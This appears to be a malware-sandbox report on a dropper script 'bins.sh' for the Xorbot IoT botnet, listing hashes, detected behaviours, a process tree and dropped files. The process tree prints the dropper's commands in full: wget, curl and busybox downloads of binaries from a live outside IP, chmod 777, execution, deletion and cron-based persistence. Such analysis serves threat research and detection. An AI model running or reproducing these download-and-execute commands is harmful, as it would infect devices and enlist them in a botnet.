Analysis

  • max time kernel
    149s
  • max time network
    96s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02-12-2024 22:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    333efe28921c62bc81cebb18d9a6e7d6

  • SHA1

    de7c7c8d358a6d4ac49add9902ee77a9ebccfc66

  • SHA256

    0b484ebad0fae0be292db02d72f87470f7fe3e013ae3ef4d79d8795357b3fcf8

  • SHA512

    a148117669ec67c429297926d0e4d7ade365437adb2faf2e26870e00230c87f1e2914f06a7f445a4e2edc2afd678875c5aa7fdeda0061109994feeb4aef0bcb2

  • SSDEEP

    192:9MhNqbWTzY0aowDWJ1phC2Gt1gphWaQ7Ti++00SB141pb++EowDWJ1xhN8YTzYx5:yhNqbKaowDWJ1pXphWaQ7Ti+G1pb++E5

Malware Config

Signatures

  • Detects Xorbot 8 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 7 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 22 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:653
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:657
        • /usr/bin/wget
          wget http://216.126.231.240/bins/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • Writes file to tmp directory
          PID:662
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:677
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • Writes file to tmp directory
          PID:684
        • /bin/chmod
          chmod 777 pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • File and Directory Permissions Modification
          PID:686
        • /tmp/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          ./pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
          • Executes dropped EXE
          PID:687
        • /bin/rm
          rm pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4
          2⤵
            PID:690
          • /usr/bin/wget
            wget http://216.126.231.240/bins/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            2⤵
            • Writes file to tmp directory
            PID:691
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:692
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            2⤵
            • Writes file to tmp directory
            PID:694
          • /bin/chmod
            chmod 777 o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            2⤵
            • File and Directory Permissions Modification
            PID:698
          • /tmp/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            ./o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            2⤵
            • Executes dropped EXE
            PID:699
          • /bin/rm
            rm o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz
            2⤵
              PID:701
            • /usr/bin/wget
              wget http://216.126.231.240/bins/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              2⤵
              • Writes file to tmp directory
              PID:703
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:709
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              2⤵
              • Writes file to tmp directory
              PID:716
            • /bin/chmod
              chmod 777 VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              2⤵
              • File and Directory Permissions Modification
              PID:719
            • /tmp/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              ./VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              2⤵
              • Executes dropped EXE
              PID:721
            • /bin/rm
              rm VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W
              2⤵
                PID:723
              • /usr/bin/wget
                wget http://216.126.231.240/bins/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                2⤵
                • Writes file to tmp directory
                PID:725
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:730
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                2⤵
                • Writes file to tmp directory
                PID:738
              • /bin/chmod
                chmod 777 paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                2⤵
                • File and Directory Permissions Modification
                PID:742
              • /tmp/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                ./paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                2⤵
                • Executes dropped EXE
                PID:745
              • /bin/rm
                rm paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV
                2⤵
                  PID:749
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  2⤵
                  • Writes file to tmp directory
                  PID:751
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:758
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  2⤵
                  • Writes file to tmp directory
                  PID:761
                • /bin/chmod
                  chmod 777 njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  2⤵
                  • File and Directory Permissions Modification
                  PID:762
                • /tmp/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  ./njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  2⤵
                  • Executes dropped EXE
                  PID:763
                • /bin/rm
                  rm njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi
                  2⤵
                    PID:765
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    2⤵
                    • Writes file to tmp directory
                    PID:766
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:769
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    2⤵
                    • Writes file to tmp directory
                    PID:776
                  • /bin/chmod
                    chmod 777 HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    2⤵
                    • File and Directory Permissions Modification
                    PID:780
                  • /tmp/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    ./HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:782
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:785
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:786
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:788
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:789
                      • /bin/rm
                        rm HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt
                        2⤵
                          PID:794
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                          2⤵
                            PID:798
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                            2⤵
                              PID:799
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                              2⤵
                              • Writes file to tmp directory
                              PID:801
                            • /bin/chmod
                              chmod 777 N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                              2⤵
                              • File and Directory Permissions Modification
                              PID:808
                            • /tmp/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                              ./N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                              2⤵
                              • Executes dropped EXE
                              PID:809
                            • /bin/rm
                              rm N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ
                              2⤵
                                PID:811
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                                2⤵
                                  PID:813
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                                  2⤵
                                    PID:814
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:816
                                  • /bin/chmod
                                    chmod 777 3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:820
                                  • /tmp/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                                    ./3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                                    2⤵
                                    • Executes dropped EXE
                                    PID:821
                                  • /bin/rm
                                    rm 3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq
                                    2⤵
                                      PID:822
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                                      2⤵
                                        PID:823
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                                        2⤵
                                          PID:824
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:828
                                        • /bin/chmod
                                          chmod 777 wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:829
                                        • /tmp/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                                          ./wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                                          2⤵
                                          • Executes dropped EXE
                                          PID:830
                                        • /bin/rm
                                          rm wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C
                                          2⤵
                                            PID:832
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                                            2⤵
                                              PID:833
                                            • /usr/bin/curl
                                              curl -O http://216.126.231.240/bins/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              PID:834
                                            • /bin/busybox
                                              /bin/busybox wget http://216.126.231.240/bins/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:835
                                            • /bin/chmod
                                              chmod 777 JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:837
                                            • /tmp/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                                              ./JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                                              2⤵
                                              • Executes dropped EXE
                                              PID:839
                                            • /bin/rm
                                              rm JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB
                                              2⤵
                                                PID:840
                                              • /usr/bin/wget
                                                wget http://216.126.231.240/bins/l8Y8Ix3FJZh1ZaSypblCYi8sBbc1j8AY6c
                                                2⤵
                                                  PID:841

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • /tmp/3QIVjyuNIOs5BxHfaZliv2oG1kxzFQnnEq

                                                Filesize

                                                127KB

                                                MD5

                                                89077b7bd4bcafca7713be43635c4862

                                                SHA1

                                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                                SHA256

                                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                                SHA512

                                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                              • /tmp/HZTMbkS1dNdGXXX8lTKfn3jxFGPVp2sgNt

                                                Filesize

                                                141KB

                                                MD5

                                                3ca8decdb1e52c423c521bfff02ac200

                                                SHA1

                                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                                SHA256

                                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                                SHA512

                                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                              • /tmp/JfWS9TjMxHCrJxAm5o0DtfZlDN9DybDfQB

                                                Filesize

                                                99KB

                                                MD5

                                                9438d9bc392bcf300a5583b6df5bc8f6

                                                SHA1

                                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                                SHA256

                                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                                SHA512

                                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                              • /tmp/N92DDDKG2ntCwLyfsVgZ9Xz3DA8T8yHPvJ

                                                Filesize

                                                111KB

                                                MD5

                                                701e7a55a4f3650f5feee92a9860e5fc

                                                SHA1

                                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                                SHA256

                                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                                SHA512

                                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                              • /tmp/VKcjTKRHUwCXuok146ahL2CTArWCWtmW6W

                                                Filesize

                                                111KB

                                                MD5

                                                ca897a38f23ec23521ce0b1b83f8422d

                                                SHA1

                                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                                SHA256

                                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                                SHA512

                                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                              • /tmp/njt3Cd4HSeo9BwaPrDncaieyUzhvGMAIvi

                                                Filesize

                                                117KB

                                                MD5

                                                849fa04ef88a8e8de32cb2e8538de5fe

                                                SHA1

                                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                                SHA256

                                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                                SHA512

                                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                              • /tmp/o3101AI3wA73iEMKdI84vt3QyAmRzNOFNz

                                                Filesize

                                                122KB

                                                MD5

                                                cd3d4b9c643e5b473fb4d88ed05f0716

                                                SHA1

                                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                                SHA256

                                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                                SHA512

                                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                              • /tmp/paJYGM83XoCOJWRicBYG4tFXKmgTFD6DBV

                                                Filesize

                                                107KB

                                                MD5

                                                eb9c3a0de91fcf16ba17cb24608df68c

                                                SHA1

                                                09d95a7d70d5e115d103be51edff7c498d272fac

                                                SHA256

                                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                                SHA512

                                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                              • /tmp/pioY6gbqiqSf2qS8UMdwdV8xVA8Z2Mv3U4

                                                Filesize

                                                151KB

                                                MD5

                                                3c90d5820bddcf7c5d1bd21dfa49d958

                                                SHA1

                                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                                SHA256

                                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                                SHA512

                                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                              • /tmp/wPVGpsRn4FmhhzOl95w84FmX2XAztsgs0C

                                                Filesize

                                                151KB

                                                MD5

                                                6c583043d91c55aa470c08c87058e917

                                                SHA1

                                                abf65a5b9bba69980278ad09356e53de8bb89439

                                                SHA256

                                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                                SHA512

                                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                              • /var/spool/cron/crontabs/tmp.TkAPJO

                                                Filesize

                                                210B

                                                MD5

                                                bdcf41bcd17751a81d643ea5e98394d9

                                                SHA1

                                                0ef8562c02015490e99757082e2f516484ea46da

                                                SHA256

                                                34a0bc92ec3b1b8becb537986ba742d55fbc5f468e6bf81bb738da0da2de08d1

                                                SHA512

                                                0c90fab9febf4b4196974fb37e3155ee2a28ccc9be2afaaad4a149e1706ade363a232baf5f7178e0addf3bcb86d676e0db1ae426aec4a871152a5bc1d161b42b